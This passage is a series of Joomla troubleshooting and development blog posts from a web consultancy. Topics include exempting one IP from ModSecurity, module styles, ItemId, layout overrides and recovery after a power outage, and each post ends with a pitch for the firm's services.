[Tue Sep 17 09:17:26 2013] [error] [client The Joomla website's IP] ModSecurity: Access denied with code 44 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/conf/modsec2.conf"] [line "15"] [id "1234123456"] [msg "Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM 0, IQ 1, IP 0, IH 0, FL 0"] [hostname "The Joomla website's base URL"] [uri "/administrator/index.php"] [unique_id "UjhWZkPj8rEAAEzeW@8AAABA"]

Aha! It was ModSecurity that was causing this problem – so all we needed to do was to disable ModSecurity, but we didn’t want to disable it for everyone, just for our client’s IP. So, we opened up the .htaccess file located under the root directory of the website, and we added the following line to the top of the file:

SetEnvIfNoCase REMOTE_ADDR ^173\.199\.145\.150$ MODSEC_ENABLE=Off

Note: The above assumes that the IP you want to disable ModSecurity for is 173.199.145.150).

And that solved the problem – our client was able to upload files that have quotes anywhere. What’s interesting is that the above didn’t compromise any security on the server, because ModSecurity is only disabled for one IP, and not for all IPs.

Now for a quick FAQ on the above fix:

  • Is the above a guaranteed fix?

    No – it’s not. On a shared hosting environment it might be that your host has disabled this feature (where you can disable ModSecurity in .htaccess).

  • I am using a dedicated server, but the above is not working for me!

    Double check that your IP is correct in the line above. You can check how the server sees your IP by creating a small PHP file (under the root directory of your website) called whatismyip.php with the following code:

    <?php
    	echo($_SERVER['REMOTE_ADDR']);
    ?>

    Visiting that file will tell you what your IP is, from the server’s perspective. Note: By no means we are implying that each server sees your IP differently, but, if you are behind a proxy, or if you are on the same network of your server, then your IP might be seen differently by your server.

  • What if I want to disable ModSecurity for a whole network?

    This can be done by simply adding the following line to your .htaccess file:

    SetEnvIfNoCase REMOTE_ADDR ^10\.192\.* MODSEC_ENABLE=Off

    Note that we are assuming in the line above that the block of IPs that you want to disable ModSecurity for starts with 10.192.

  • I want to disable ModSecurity altogether, are there any security implications?

    Yes there are. While some argue that ModSecurity has little use, we believe that it provides an extra level of security on the server. We highly recommend against disabling it – unless, of course, it is causing more harm than good. In that case, you will need to look at alternatives to protect your server.

  • Are there other methods to address problems caused by ModSecurity?

    Yes there are – another method for addressing problems related to ModSecurity would be to modify the rule(s) causing the problem(s). Naturally, this won’t be a walk in the park – modifying ModSecurity rules require advanced knowledge with ModSecurity and Apache security. Note that if you play with ModSecurity rules you might cause serious security issues on your website – we recommend you contact some security experts to modify rules for you in case you want to go with this route.

  • What if the above doesn’t work?

    If the above line doesn’t work for you (even after checking that you are allowed to disable ModSecurity and that your IP is correct), then we recommend you contact us. We are Joomla security experts and we are confident we can fix your problem. Our fees are reasonable, our work is professional, and we are super friendly! What are you waiting for? Shoot us an email or give us a call!

How to Remove the “moduletable” DIV from a Joomla Module

A consulting company that subcontracts work to us sent us a quick task late at night yesterday. Everytime they create a module on a particular website, the module’s content is encapsulated in the following div:

<div class=”moduletable”>Module Content</div>

The encapsulating div is causing problems in the layout and they want to remove it.

Now, if one does a research on the Internet on this particular issue he’ll find complex solutions that require modifying Joomla’s core or using a plugin instead of a module. This is odd because the solution couldn’t be simpler (and it seems that nobody knows it): the solution consists of simply changing the style (we’re not talking about CSS styles here) of the module in the index.php of the template. Here’s how to do it:

  • Connect, through FTP, to the root directory of your Joomla website.
  • Go to the main directory of the template serving your Joomla Website (for example, /templates/mytemplate).

  • Open the index.php file (which is the main template file).

  • Search for the name of the position of the module in question (for example, ad-bottom).

  • Replace the following code:

    <jdoc:include type="modules" name="ad-bottom" style="xhtml" />

    with:

    <jdoc:include type="modules" name="ad-bottom" style="none" />

    Note that we are assuming that the position’s name of your module is ad-bottom.

  • That’s it! By replacing xhtml with none we ensured that Joomla no longer encapsulates the module’s content in a div block.

We always wonder how come these very simple (and very important) tips are badly documented to the point that even on Joomla’s own forums you’ll find half baked complex solutions to the same problem – while the problem can be resolved by just changing one simple word.

Thanks for solving this problem, but what are the other module styles?

There are 6 module styles: none, xhtml, rounded, horz, table, and outline. The first two are the most used. You can read more about them here.

Some of my modules have “raw” as their style? What is that?

raw is the equivalent of none. In fact, raw as a module style doesn’t exist, so Joomla automatically defaults to none when it sees it. The reason why some developers use raw as a style when they’re including modules in the template is because they are accustomed to Joomla’s manifest (xml) files where fields have a raw property.

Now, if some of your modules are giving you some hard time when you’re including them (for example, the formatting is all messed up), then try the above method. If it still doesn’t work for you or if the whole thing is a bit over your head, then please contact us. We are always here for help and we don’t charge much!

What Is “ItemId” in a Joomla URL and Why It Is Important to Have It?

If you have been running a Joomla website for some time, you would have noticed the presence of a parameter called ItemId in your Joomla URLs. Curiously, the ItemId has nothing to do with the id of the article being displayed – so what is it and why is it there?

The ItemId is the ID of the menu item that a particular page belongs to. For example, if an article belongs to a certain category, then the ID of the menu item pointing to that category will be the Item ID of that page. Yes – we know – that sounds a bit complicated, but let us explain.

Let’s assume that you have a category called Products on your Joomla website. Let’s also assume that you have created a menu item pointing to the Products category in the menu item manager. The ID of that menu item will be the Item ID of any article belonging to the Products category, so, if the ID of the Products menu item (not the category) is 57, then the URL of a random page under the Products category would be something like the following:

http://www.yourjoomlawebsite.com/index.php?option=com_content&id=[article_id]&ItemId=57

But why is it necessary to have the ItemId?

Joomla, as you already know, allows you to assign modules (and templates) to menu items – and the only way that Joomla associates menu items with modules is through the ID of the menu item (this association is guaranteed by the table #__modules_menu) – this means that Joomla must know, for each page, the menu item ID for that page. That’s why we have the ItemId. So, in short, the presence of the ItemId parameter in the URL is necessary to tell Joomla which modules to assign to the page.

But, what about sh404SEF’s URLs? There’s no ItemId in those URLs, so how can Joomla manage?

Well, actually, sh404SEF‘s URLs do have the ItemID, but it’s sort of hidden. If you open up the URL of any link in sh404SEF‘s URL Manager, you will see the ItemId in the URL (note that the ItemId of the default URL of a certain page is the one that applies).

What if the ItemId is removed from the URL?

If you remove the ItemId from the URL of a certain page, then only those modules assigned to all pages or those assigned to all pages except those selected will display on that particular page.

Now, if you have problems on your Joomla URLs because of the ItemId or because of any other reason, then, as usual, we’re here to help. Feel free to contact us and rest assured that our work is professional and that our fees are extremely affordable. Oh, and we are very, very (we can’t stress very enough) friendly!

How to Search for an Article by ID in Joomla

If you have been working on Joomla websites for a long time now, you might have run into the situation where you needed to search for an article by ID instead of its title. This is an extremely easy task if you have access to phpMyAdmin (you just need to login to phpMyAdmin, and go the #__content table for the database that is serving your Joomla website, and then click on Search on the top, and then filter on the id field), but what if you don’t? Is there a way to do this through Joomla’s backend?

Fortunately, there is: Joomla 2.5 has an undocumented feature that allows administrators to search for an article by ID, here’s how to do this:

  • Login to Joomla’s backend.
  • Go to Content > Article Manager

  • Next to the Filter field, type the following: id:[article_id], for example id:1501, where 1501 is the ID of the article that you’re searching for.

  • Surprise! Now the article with the ID that is equal to [article_id] is listed. Easy huh?

To save you some research time, here’s a quick faq about this feature:

Why is this feature undocumented?

We don’t know – but it might be that the Joomla developers believe it is too technical, and that Joomla administrators do not need to care about the IDs of their articles (which is wrong, in our opinion).

Can one search for multiple articles in one shot by searching for id:[article_1_id],[article_2_id],[article_3_id]?

Unfortunately no.

Are there other Easter Eggs like this one?

Not that we know of.

Does this feature work on the frontend?

No it doesn’t. This feature is exclusive to the backend.

Does one need to be a super administrator for this method to work?

No – it works for anyone who has access to the backend.

How did you know about this feature?

We knew about the existence of this feature while reading the code of a Joomla core file some time ago.

If you have the ID of an article and if you want to search for it, then the above method is guaranteed to work, provided you have access to Joomla’s backend. But, if you need to run some extremely advanced search on your Joomla articles, then probably your best option is to contact us, we can run any query that you want (no matter how complicated it is), we can also extend Joomla’s article manager functionality to include that query as a “special” filter. Our fees are affordable, our work is professional, and we are the friendliest programmers on planet Earth!

Why Page Navigation Should Be Disabled on Large Joomla Websites

While optimizing a migrated Joomla website today, we noticed that one of the queries was taking an exceptionally long time. It was this one:

SELECT a.id, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(':', a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(':', cc.id, cc.alias) ELSE cc.id END as catslug FROM #__content AS a LEFT JOIN #__categories AS cc ON cc.id = a.catid WHERE a.catid = 17 AND a.state = 1 AND a.access = 1 AND (a.state = 1 OR a.state = -1) AND (publish_up = '0000-00-00 00:00:00' OR publish_up <= '2013-09-03 04:41:23') AND (publish_down = '0000-00-00 00:00:00' OR publish_down >= '2013-09-03 04:41:23') ORDER BY a.created DESC

In our scenario, the above query was returning 37,461 rows and was taking over a second to execute! A second to execute a query, while somehow acceptable on small Joomla websites (if it’s just for one or two queries), is a major issue on large ones with high traffic because of the build-up effect (when many similar queries are run on the server simultaneously).

Now, going back to our query, a quick glimpse indicated that it was used to generate links, but why was it run on every page and what was making it run?

So we searched for the file containing patterns from the above query, and we discovered that it was the file pagenavigation.php (a plugin) which is located under the /httpdocs/plugins/content/pagenavigation directory. This plugin is responsible for displaying navigation at the bottom of an article (Next Article, Previous Article, etc…) – this made perfect sense on why the query was run on every page. Unfortunately, our discovery also revealed, without a doubt, that it is Joomla’s core that is causing this problem.

Just to make sure before openly blaming Joomla, we opened up the above file and we were surprised to see that the query ran when “Show Navigation” (a setting at the article level) is enabled (and this setting is enabled by default). We were disappointed with the inefficiency of this plugin. Why-oh-why does it need to get the slugs of all the articles in the same category when it only needs a few? In our case, the query was returning close to 40k results, and was dramatically slowing down the whole website. To add insult to injury, we weren’t even using navigation on the website – it was just enabled, but not being used. So we disabled it globally. This was done the following way:

  • We logged in to the backend of the Joomla website.
  • We clicked on Content -> Article Manager.

  • We clicked on the Options button at the top right.

  • We clicked on the Articles tab (usually the Articles tab is selected by default because it’s the first one).

  • We clicked on Hide next to Show Navigation, and then we clicked on Save at the top right.

  • That was it! The site ran super fast and our client was very satisfied.

As the title of the article implies, page navigation is a problem on large Joomla websites (10,000+ articles) – it’s not that much of a problem on smaller websites.

Now, what if a large Joomla website really needs page navigation? Well, there are two options:

  • Contact some Joomla experts (such as us) and ask them to modify the default page navigation plugin.
  • Ask some Joomla experts (again, that would be us!) to develop another page navigation plugin and use it instead of the default one.

The first option above is the fastest, but, on the flip side, it requires modifying Joomla’s core which means that future updates to your Joomla website may overwrite the modifications done on that particular plugin.

The second option doesn’t require any core modification, but it’s much more complicated and requires more work, especially because all the views in Joomla use the default page navigation instead.

In any case, and whatever your option is, we are here to help. Just contact us and let us prove to you how experienced, fast, and professional we are. Oh, and don’t you worry about our fees – they are very, very affordable!

How to a Have a Different Category Blog Layout for a Specific Category in Joomla

If you’re reading this post, then this means that most likely you have reached a level, in Joomla, where you know that you can override the default layout of any view in any component by copying template files to the html directory of the template and then modifying these files. For example, if you want to override the default Category Blog layout, you will need to do the following:

  • Download, through FTP, the files blog.php, blog_item.php, and blog_links.php from the /components/com_content/views/category/tmpl directory.
  • Make some changes to your taste to the above files.

  • Upload them to the /templates/[your template name]/html/com_content/category folder (you will need to create this directory structure if it doesn’t already exist).

  • That’s it! You have now overridden the default layout for the blog layout. Joomla will now use the files in the html directory to display any page using the Category Blog menu item type.

But, what if you have a certain category that needs to have a unique, different blog layout than the others. What will you do?

Unfortunately, the above method will not work because the overridden template is applied across the board: all the Category Blog pages will have the same look and feel.

Thankfully, there is another, even more powerful method, that can accomplish exactly what you want. You just need to create a new layout and then assign the menu item to that layout. In other words, you will have another menu item type (which is similar to the Category Blog menu item type)!

Here’s how to do this:

  • Download the files blog.xml, blog.php, blog_item.php from the /components/com_content/views/category/tmpl directory.
  • Rename the downloaded files to mylayout.xml, mylayout.php, and mylayout_item.php respectively.

  • Open the file mylayout.xml in a text editor and 1) change the string “COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE” to “My Layout”, and 2) change the string “COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION” to “My Layout” as well.

  • Make the appropriate layout modifications to mylayout.php and mylayout_item.php to accommodate the unique look & feel for that particular category.

  • Upload the renamed files to the /templates/[your template name]/html/com_content/category directory.

  • Now create a menu item of type My Layout and you should see that the layout that you have just created is applied!

Wonderful, huh? And the best thing is that you haven’t made a single code change to Joomla’s core (or any Joomla file for that matter – core or non-core), which means that your newly created layout will not be overwritten/removed by a future Joomla update!

Now, at first glance, the above process might seem a bit complicated, but it’s not – it’s really straightforward. It takes just a tiny bit of time if you follow the instructions. However, we do recognize that if you don’t have any programming experience, then the whole thing can be very daunting, and you might be in dire need of some Joomla experts. If that’s the case, then fear not, we are always there for you. Just contact us and rest assured that we’ll do the above for you in no time and at a very affordable cost. So, what are you waiting for? Just shoot us an email or give us a call!

How to Invoke a Controller Function in a Joomla URL

When we develop custom Joomla components for our clients, a very common task that we do is that we call custom controller functions from a URL within a view. For example, just today, while working on a custom component that’ll allow people to post their press releases through the frontend of a Joomla website, we wanted to allow people to delete uploaded images from within a view. To do that, we added, next to each image, a link that will delete the image when someone clicks it.

The link looked like the following:

http://www.ourclientjoomlawebsite/index.php?option=com_pr&task=pr.delete_image&id=5

Now to explain the link, let us dissect it:

  • com_pr: This is the name of the component (for example, com_content).
  • pr.delete_image: This is actually a combination of the controller name and the function name to call joined by a dot (.) . For example, in our scenario, the controller name is pr, and the name of the function to call is delete_image.

  • 5: This is the id of the image to delete in our scenario. This id is passed to the function delete_image. You can have as many parameters as you want in the URL.

So, the delete_image function in the pr controller will get the id of the image from the GET and then deletes that image. Easy, huh?

So, if you are trying to call a function in your controller from a URL, this is the way to do it. If you’re still having challenges doing it, or if there’s something that you don’t understand, then why don’t you just let us do this task for you? Our work is professional, our prices are affordable, we are very friendly, and our clients really love us. Go ahead, contact us, you won’t regret it.

Note: We know, this is yet another short post. This is not a trend, we promise, but the thing is we are extremely busy these days and we definitely need more people on our team to serve our growing number of clients.

“Cannot delete last style of a template” When Uninstalling a Joomla Template

Here’s a small Saturday niblet… While trying to uninstall a template from the Template Manager, we encountered the following error:

Cannot delete last style of a template

And, of course, we were not able to uninstall the template. Uninstalling the template was necessary for us because we wanted to re-install it as it had an error.

But, on the bright side, we knew another way for uninstalling templates (well, we knew many ways, but that was the easiest one). All that we needed to do was to go Extensions -> Extensions Manager, and then click on Manage on the secondary menu, and then search for the name of the template (e.g. type in the name of the template in the Filter box), and then click on the checkbox next to it, and finally click on Uninstall on the top right. (We know, too many “and thens”, even more “and thens” than that scene in Dude, Where’s my car). And Guess what, that worked!

But what causes this problem?

Well, it’s because Joomla doesn’t allow you, through the Template Manager, to delete all the styles of a specific template. For example, if a template has 5 styles, then you are only allowed to delete 4 through the template manager. The last one cannot be deleted from there. This behavior is controlled by the function delete in the file style.php which is located under the administrator/components/com_templates/tables/style.php. To be more specific, in the following code (lines 110-113 of the aforementioned file):

if (count($results)==1 && $results[0]==$pk) {
	$this->setError(JText::_('COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE'));
	return false;
}

Now, if you’re seeing the same error when uninstalling a template, then try to uninstall it from the Extensions Manager instead of doing it from the Template Manager. If that also fails, then why not contact us? We can definitely help! Our work is fast, our quality is top notch, and we don’t charge much.

No Backend Menu in Joomla 2.5

Warning: Implementing the fix in this post will reset all your ACL modifications. Additionally, it’ll remove all the associations between your users and your groups – with the exception of the user with the first ID in the #__users table. It’ll also remove all the groups that you have created. If you have a large website with many users then most likely this is not what you want. Stop and contact us and we’ll implement a custom fix for you.

Note: The user with the first ID in the #__users table is assumed to be a Super User – which is the case in 99.99% of Joomla websites. That’s why we will re-create the association between that user and the Super Users group. Again, if this is not what you want, then please contact us.

Disclaimer: While we have tested the fix on many Joomla websites – we cannot guarantee that it’ll work on your website. Additionally, we cannot be held liable, directly or indirectly, for any mishaps caused by our script, including, but not limited to: total/partial loss of data, interruption of business activities, toxic rain (that was a joke, but you get the point), etc… If you’re not sure about this script, then don’t use it.

Final note: This script is for Joomla 2.5.x – it will not work on any other version of Joomla (such as Joomla 1.x or Joomla 3.x). Additionally, it may cause irreversible problems on your website should you implement it on other versions of Joomla. Beware!

Ever since Joomla 2.5 was launched (that was 19 months ago), we have had calls from clients telling us that they’re able to login to their Joomla website, but they just don’t see any menu. All that they see is the black stripe at the top of the page, and the Joomla copyright notice immediately after. Nothing else: no menu, no icons, no “Last 5 Logged-in Users”, nothing!

The first time we’ve seen this problem, we have to admit we were perplexed – especially because the Joomla website in question was a fresh install with just some data added. But, we later discovered that the administrator has made some wrong changes to the ACL (Access Control Lists), and that’s the heart of the problem. As we have mentioned before (see point #10 in this post), a messed up ACL can cause login issues. So, in short, if you’re having the same problem, then most likely you have done some incorrect changes to your Joomla website’s ACL.

OK – now you know what the problem is, but how to fix it? Well, unfortunately, the best and fastest way to fix the problem is to completely reset Joomla’s ACL, which means any changes you might have done to the default ACL, whether right or wrong, will be lost with the fix.

But how to reset Joomla’s ACL?

To reset Joomla’s ACL, you will need to run a series of SQL queries. Fortunately for you, we, at itoctopus, have simplified this task by adding all those queries to a PHP file. So, in order to fix the problem, all you need to do is the following:

  • Download the zipped fix here.
  • Extract the PHP file resetACL.php and upload it to the administrator folder in your Joomla website.

  • Execute the PHP script by pointing your browser to http://www.yourjoomlawebsite/administrator/resetACL.php.

  • That’s it!

When you load the page, you will be told which user you should login to as to see the backend menu.

Last reminder: As noted in the beginning of this post, this fix will make you lose all the group associations of all the other users on the website. So, again, if you have many users, then this fix is not ideal for you. Please contact us and we’ll implement a custom fix for you. Oh, and you don’t have to worry about our fees – they are very, very affordable and we are really, really friendly.

How to Handle “Save failed with the following error:” When There Is No Error!

Note: This post is targeted at Joomla developers.

We were seeing the following error while trying to save the data in a Joomla form that we have created in the admin:

Save failed with the following error: (with the colon at the end)

The above tells us that there is a problem with saving the data (and indeed the data was not saved), but it didn’t tell us why. We checked the model of the form that we were trying to save, and everything seemed OK. In fact, the model was pretty standard, with just one difference, we were using the save method.

The save method, for those of you who don’t know, will override the standard save method of the component. This will allow the developer to write his own custom save, which is particularly helpful when the form saves its data to multiple tables.

Now, as soon as we removed the save method, everything worked as it should, so the problem really lied in that method. We reduced the method to just a simple update to one table (and we made sure that the query works), but to no avail, we were still seeing the same error!

We then started searching Joomla’s core files to see where this error is thrown. We discovered that the error (which is stored in the constant JLIB_APPLICATION_ERROR_SAVE_FAILED) was thrown by the file controllerform.php which is located under the libraries/joomla/application/component directory. The error was thrown at line 700 of that file in the function save. We checked the condition before that line, and it was:

if (!$model->save($validData))

Aha! So the save method in the JControllerForm class expects that the save method of the model to return true! So, to solve the problem, all that we needed to do is to add the following code at the end of the save function in our model:

return true;

Yes – it was that simple!

So, if you’re developing a Joomla component from scratch or if you are working on a component developed by someone else and you see this error, then try returning true in the save method of the model in question – it should work! If it still doesn’t and/or if you need help developing your component, then please contact us! Many Joomla development firms outsource work to us – possibly because we know a lot about Joomla, our rates are affordable, and we are always reliable.

How To Retrieve the Current Component Parameters From Anywhere in Joomla 2.5

Note: This post expects the reader to be a Joomla developer. If you’re a casual Joomla user with no programming experience then most likely this post is not for you.

Sometimes, you search the web for a solution to something in Joomla and all you find is:

  • Outdated information
  • Code that doesn’t work
  • Code that only works under certain conditions
  • Complicated code

The above is the case of many Joomla developers trying to get the global parameters of the current component (just try to make a search on Google, and you’ll see that the results returned mostly consist of: 1) code for Joomla 1.5, 2) spaghetti code, 3) code that may or may not work, 4) etc…).

Thankfully, there’s always itoctopus to the rescue!

If you want to get the global parameters of a component in Joomla 2.5 then all you need to do is use the following code:

$app	= JFactory::getApplication();
$params = $app->getParams();

That’s it – the global parameters are inside the $params array! Yes – it’s that simple – but unfortunately, very rare are those who know of this solution.

What’s interesting about the above code is that it works anywhere: in your model/view/controller if you’re using MVC to develop your component, in your template files, and anywhere else! We have tested it!

But how come the above code works anywhere?

As a rule of thumb, any method on the JSite object type (which is the object type returned by the JFactory::getApplication(); method) can work anywhere on your website. This is because the JSite object is available on every page on the frontend of your Joomla website.

We don’t usually write short posts – but this post was necessary to ensure Joomla developers retrieve the current component parameters the right way (e.g. the way that those who developed Joomla wanted us to do it). If the above code doesn’t work for you (very unlikely) or if you need further help, then please contact us. We are experts in Joomla, we work very hard, we deliver on time, and our fees are super reasonable!

How to Override the Default Save Method in a Joomla Component

Joomla is great when it comes to facilitating things for developers. For example, if you want to create a form that saves and retrieves data from the database in the backend, all you need to do is to create the XML schema file and create some standard files (these files are merely copy and paste from standard components, with minor modifications) and Joomla does the rest.

However, Joomla assumes that the data inputted by the user in the backend is the same that you want saved in the database – which is not always the case. In some cases, you need to manipulate the data a bit before saving it.

For example, one of our current projects consists of migrating a very large component from Joomla 1.5 to Joomla 2.5. One of the challenges that we faced was that a calendar field in one of the forms had to be saved as a UNIX timestamp field in the database, and then retrieved back as a calendar field. This meant that we had to manipulate the data when saving it into the database and when retrieving it from the database.

So, how did we manipulate the data prior to saving it to the database?

It was a bit hard at first because the documentation about Joomla’s pre-save functionality is very scarce – but then we discovered it. There is a function called prepareTable (this function is declared in the file modeladmin.php [line 821] which is located under the libraries/joomla/application/component folder and is invoked from the function save [line 1000] in that same file) that is called immediately prior to saving the data to the database. The prepareTable function takes the current form as parameter, and inside this function you can do all the data manipulation that you want. Here’s what we did in our scenario:

protected function prepareTable($form)
{
    $form->expired = strtotime($form->expired);
}

Note that the above function has to be placed in the model of the form that you’re trying to override – in our case, it had to be in the file subscription.php located under the administrator/components/com_store/models directory.

And how did we manipulate the data prior to displaying it in the form?

Well, that was extremely easy. All that we needed to do was adding a line to the function loadFormData which was also in the model file subscription.php. The function became as follows:

protected function loadFormData() 
{
    // Check the session for previously entered form data.
    $data = JFactory::getApplication()->getUserState('com_store.edit.subscription.data', array());
    if (empty($data)) 
    {
        $data = $this->getItem();
    }
    //now we need to modify the data here a bit
    $data->expired = date("Y-m-d", $data->expired);
    return $data;
}

That was it!

Now – if you’re reading this because you’re stuck then we hope our post was helpful. If this wasn’t the case, or if you need some Joomla experts to take over the development of your custom component, then look no further. Just contact us and we’ll do the work for you professionally, swiftly, and for a very affordable cost.

Why Does a Joomla Website Stop Working After a Server Power Outage?

Many of our clients are large companies that choose to host their websites in-house. They do this because of security and data confidentiality concerns. This is standard practice in large companies but it usually suffers from the following drawbacks:

  • In most cases, the in-house data center infrastructure is not at par with standard hosting infrastructures.
  • The procedures in most of these in-house data centers are either very loose or do not exist: There are no formal backup/emergency plans, no alternative power in case of a power failure, no alternative Internet route in case of the failure of the main route, etc…

  • The staff managing these in-house data centers is not fully qualified and/or not enough to handle this task.

Of course, with time, an in-house data center can become very stable – but this usually happens after many years and after many technical catastrophes. A very common technical catastrophe that happens on private data centers is caused by a power outage. Unfortunately, that’s what happened to one of our clients this Monday (2 days ago).

Naturally, our client’s Joomla website went immediately down during the power outage, but even after power had been restored and all the servers were up, the website remained down. The website was displaying a blank page.

After some heavy and swift analysis, we discovered that the website remained down because of the following reasons:

  • The boot sequence was wrong

    In many cases, the boot sequence matters. The boot sequence means the order by which the servers should start. For example, the file server should always start first, then the database server, and finally the application server. Wrong boot sequences either make the application server completely inoperable (which means that all the websites will remain down) or, at the very least, affect certain functionalities at the application server level.

    So, how did we fix the problem?

    It was easy, we only had to alert the networking department of that company of the wrong boot sequence. They took care of the rest!

  • The MySQL Server did not start automatically

    Normally, the MySQL Server starts automatically when the server is started – but – for some reason, the MySQL server did not start automatically after the team did the right boot sequence.

    So, what did we do to fix the problem?

    To fix the problem, we only needed to start the MySQL server manually. MySQL can be started manually by issuing the following command on the shell of the server hosting MySQL:

    /etc/init.d/mysqld start

    (Note: The above command may not work for you if you’re using a different flavor of Linux than the one that our customer is using.)

  • The #__session table became corrupt

    Table corruption usually happens when there’s an attempted write to that table, but the write fails for one of the following reasons:

    • Loss of power
    • MySQL server force shutdown
    • Sudden loss of connectivity between the application server and the database server (if these servers reside on different physical servers).
    • Other reasons…

    Now, every time you load a page on a Joomla website, Joomla writes to the #__session table – that’s why it was natural for the #__session table to become corrupt. Note that it’s possible to have other tables corrupt as well in case there are attempted writes to these tables when the power outage happens, but, in our scenario, the problem just happened on the #__session table.

    So, what did we do to solve this problem?

    Well, it was easy. All that we needed to do was to login to phpMyAdmin and issue the REPAIR command on the #__session table. In other words, we ran the following query (after clicking on the name of the database, and then clicking on the SQL link on the top):

    REPAIR TABLE #__session

    (Note: You should replace #__ with your table prefix.)

    Now, in case you’re completely unlucky, your whole database may have become corrupt because of the outage. In this case, we suggest you take a look at our post: How to salvage your Joomla website.

If your Joomla website stopped working after a power outage, then please follow the above guide. If it doesn’t work for you, then don’t be shy – contact us. Our rates are super affordable, our work is clean and professional, and we won’t rest until your Joomla website is up and running again!

Blank Page After Moving a Joomla Website from Development to Production

Nearly a month ago, we discussed how to quickly move a Joomla website from development to production. The process that we described in that post always worked for us – until yesterday. Here’s what we did:

  • We created a fresh Joomla instance under a sub-directory called v2.
  • We migrated the old content and we ensured that the Joomla instance behaved and worked exactly as the old Joomla website.

  • We archived the old Joomla website and we moved the files and directories under the v2 folder to the old website’s location (in other words, we flipped the website).

  • We saw a blank page on the homepage!

What was very weird is that the website was fully working, with no problems whatsoever, under the v2 folder. All that we did was that we moved it up just one directory and suddenly the website is not working anymore. We checked the configuration.php file and we noticed that the paths to the tmp and the logs folder had v2 in them, so we removed it (e.g. we removed v2). This hasn’t solved the problem – we were still seeing a blank page.

Now we are very familiar with blank pages on Joomla (usually this happens when there is an issue in one of the active plugins) – but this is the first time that we see it in this scenario.

After a lot of hair pulling, teeth cringing, fingernail eating (yes – we do panic occasionally), we decided to print the included files in the index.php using the function get_included_files();. To our amazement we noticed that Joomla was trying to include some paths that had v2 in them. Huh?

We checked the files that were including the files that had v2 in their paths, but we discovered no reason for this problem. We thought, what if Apache was caching the directory structure and it still thinks that these files exist under the v2 folder. So we restarted Apache using the following commands in the shell (we were using Plesk):

/etc/init.d/httpd stop
/etc/init.d/httpd start

And what do you know? The problem was solved! The website worked normally after the restart and there were no blank pages anymore! Success!

We have no idea why Apache was doing this (probably it’s an Apache module used to speed things up) – but whatever the benefit is, we think it’s not worth it because this is a very dangerous bug feature and it doesn’t seem to be well thought of.

If you’re experiencing the same problem after migrating your Joomla website, then please try the above. If it’s a bit over your head or you just don’t have the time to do it, then please contact us. Our rates are very affordable and we’ll fix the problem on your website in no time (OK – in as little time as possible).

How to Add an HTML Text Editor Field to an Extension in Joomla 1.5

We have explained a long time ago how to add an HTML Text Editor field to an extension in Joomla 2.5 – and we have stated that the method described in that post only works on Joomla 2.5. Back then, we thought that we’ll never have to do this on Joomla 1.5 – and we also assumed that none of our readers will have to as well. We have to admit we were wrong.

Today, one of our very important clients asked us to modify one of his custom modules to include an HTML text editor field in the backend – this would’ve been a 5 minute job had he been using Joomla 2.5 (we just use the editor type) – but, to our regret, he was using Joomla 1.5 and he wanted the work done on Joomla 1.5. Oops!

We spent literally hours trying to see if Joomla had an official guide to this, but all we could find was some half-baked/incomplete solutions that’ll address the problem but only after jumping through many, many hoops! But on the bright side, after this long research, we were able to create our own workable solution.

Here’s how it should be done:

Step 1 – Create a new element of type RichEditor

The first thing that you need to do is to create a new custom element. An element (OK – we won’t italicize it anymore) in Joomla is like a field type. For example, a calendar is an element, a category is an element, a textarea is an element, a text is an element, etc… (You can find the full list of standard elements here – Joomla refers to them as “form field and parameter types”).

As the title states, our new custom element should be called RichEditor, so you’ll need to create a file called RichEditor.php and place it under the elements folder under the module’s directory. So, if your module is called mod_listing, you will need to create the file RichEditor.php under the folder modules/mod_listing/elements.

The file RichEditor.php should consit of the below code:

<?php
class JElementRichEditor extends JElement{
    var $_name = 'RichEditor';
    function fetchElement($name, $value, &$node, $control_name){
        return JFactory::getEditor()->display($control_name.'['.$name.']', htmlspecialchars($value, ENT_QUOTES), $node->attributes('width'), $node->attributes('height'), $node->attributes('col'), $node->attributes('row'));
    }
}
?>

Step 2- Integrate the HTML text editor into your module

This can easily be done in just two steps:

  1. Tell the module where to find your newly created element

    Joomla modules (and all other extensions) are merely aware of the Joomla standard elements – they know absolutely nothing about the custom ones unless they are told about them. This can be easily done by replacing the <params> line in the module’s manifest (XML) file (which is mod_listing.xml in our case) with the following line:

    <params addpath=”/modules/mod_listing/elements”>

    (of course, we are assuming that you’re adding the HTML text editor to a module and that module’s name is mod_listing).

  2. Use the HTML text editor element!

    Yes – you’re right – you are done! All you need to do right now is just use that element you have just created. This can be easily done by adding the following line (under the <params addpath=”/modules/mod_listing/elements”> line in the manifest file):

    <param name=”my_html_editor” width=”350″ height=”150″ type=”RichEditor” label=”Text” description=”Please enter the text here.”/>

That’s it! Try the above on a Joomla 1.5 website and it should work! If you need help with the implementation, then we’re just a call or an email away! Oh, and don’t worry about our fees, they’re quite affordable!

Note: The above method will display Joomla’s default editor. So, if your Joomla’s default editor is JCE, then it’ll be displayed.

How to Remove the Article ID from the Browser Title in sh404SEF

At itoctopus, we pride ourselves that we often give real solutions to common problems when no one else does! This morning was no different. We have solved a common problem with sh404SEF that even the creators of that extension claimed that there is no solution for.

Here’s the problem.

Let’s say you choose to include the ID of the article in the URL in sh404SEF’s settings: you make the change and you check your website, and you notice that everything works as it should (well, the ID of the article is in the wrong place, but we’ve already explained how to fix that), but you also notice something else. The ID of the article is, for some reason, in the browser title surrounded by brackets. So your browser title looks like the following:

You Article Title [The ID of the Article]

OK – you think – there must be a setting somewhere to remove the ID from the page title. So you go through every single setting in sh404SEF but to no avail. You then check the official extension forum, and you notice that many have asked the same question, but the answer came invariably: “If you choose to add the ID to the URL, then the ID will also be added to the page title – there’s no way around this.” The answerer then claims that it’s good for you. Well, we think that Joomla website owners have the right to decide themselves what’s good and what’s bad for them – including whether to have that ID or not in the page title.

Since sh404SEF was not helpful, we decided to find the solution ourselves. Our mission was clear: Find the sh404SEF file where the ID is being added and remove the code that adds the ID. To make a (very) long story short, we finally found the culprit. It was the file com_content.php located under the /components/com_sh404sef/meta_ext directory. The code responsible for adding the ID is the following (line 122 to 126):
